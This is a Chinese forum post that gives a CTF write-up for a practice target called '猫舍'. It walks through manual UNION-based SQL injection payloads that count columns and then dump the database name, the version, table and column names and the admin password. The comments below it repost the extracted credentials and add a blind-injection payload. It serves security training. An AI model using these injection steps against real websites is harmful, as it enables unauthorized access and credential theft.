猫舍 writeup

Track-mss   ·   发表于 2019-01-30 16:39:04   ·   CTF&WP专版
目标url:http://117.41.229.122:8003/?id=1

第一步,判断是否存在sql注入漏洞
构造 ?id=1 and 1=1 ,回车


页面返回正常

构造 ?id=1 and 1=2 ,回车


页面不正常,初步判断这里 可能 存在一个注入漏洞


第二步:判断字段数
构造 ?id=1 and 1=1 order by 1 回车


页面正常

构造 ?id=1 and 1=1 order by 2 回车


页面正常

构造 ?id=1 and 1=1 order by 3 回车


页面返回 错误,判断字段数为   2


第三步:判断回显点
构造 ?id=1 and 1=2 union select 1,2 回车


页面出现了  2  ,说明我们可以在数字  2  处显示我们想要的内容


第四步:查询相关内容
查询当前数据库名
构造 ?id=1 and 1=2 union select 1,database() 回车



查询当前数据库版本

构造 ?id=1 and 1=2 union select 1,version() 回车

查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车

绝大数情况下,管理员的账号密码都在admin表里


查询字段名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车


查出 admin 表里 有  id   username  password  三个字段


查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin  limit 0,1 回车


构造 ?id=1 and 1=2 union select 1,password from admin  limit 1,1 回车


limit 1,1 没有回显,说明只有一个用户

构造 ?id=1 and 1=2 union select 1,password from admin  limit 0,1 回车


得到管理员账号和密码


注:之前为了防止某些同学不思考直接复制内容,所以故意写错几个单词,没想到给各位同学带来困扰,深表歉意。

打赏我,让我更有动力~

31 条回复   |  直到 1个月前 | 141504 次浏览

shan
发表于 2020-9-3

..为啥我在加入union之后,很多时候会出现连接已重置的情况。。偶尔才能成功=-=是我这边网络的问题吗

评论列表

  • 加载数据中...

编写评论内容

xxzy28
发表于 2020-10-29

学习了

评论列表

  • 加载数据中...

编写评论内容

1203467131
发表于 2020-11-30

拿到账号密码怎么获得flag

评论列表

  • 加载数据中...

编写评论内容

qq1073518850
发表于 2020-11-30

flag: 对应是 Tips
第一题这个是: 获取管理员密码
输入错误的 可能是复制时候多了个空格

评论列表

  • 加载数据中...

编写评论内容

qwertyu9527
发表于 2020-12-25

到此一游!!

评论列表

  • 加载数据中...

编写评论内容

jack_loser
发表于 2021-7-6

为什么我打这一段?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()就可以出现当前数据库 表名
那么limit 0,1 回车这一段需不需要呀????

评论列表

  • 加载数据中...

编写评论内容

喜欢悠哉独自在
发表于 2021-8-22

database:maoshe(当前数据库名)
version:5.5.53(当前数据库版本)
table:admin(当前数据库的表名)
id username password
1 admin hellohack
2 ppt领取微信 zkaqbanban

评论列表

  • 加载数据中...

编写评论内容

liwen007
发表于 2021-9-1

sqlmap跑了,没用手工

评论列表

  • 加载数据中...

编写评论内容

31wangchang
发表于 2022-5-27

如何知道这个是什么数据库

评论列表

  • 加载数据中...

编写评论内容

年轮
发表于 2个月前

其实没必要那么麻烦,我是通过布尔注入,然后扫找到三个数据库1是admin 2是maoshe 3是test 然后通过扫描找到maoshe中有四个表格,刚开始是想通过关键词结果发现拿不到pass的hash后面直接扫maoshe中admin表格拿到 hellohack以及zkaqbanban

评论列表

  • 加载数据中...

编写评论内容

yangkg
发表于 1个月前

各位大佬,为什么我bool盲注是乱码。
payload = “1^(ascii(substr(select (password)from(admin)),%d,1))>%d)” % (i , mid)

评论列表

  • 加载数据中...

编写评论内容
首页 1 2 / 2 跳转
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.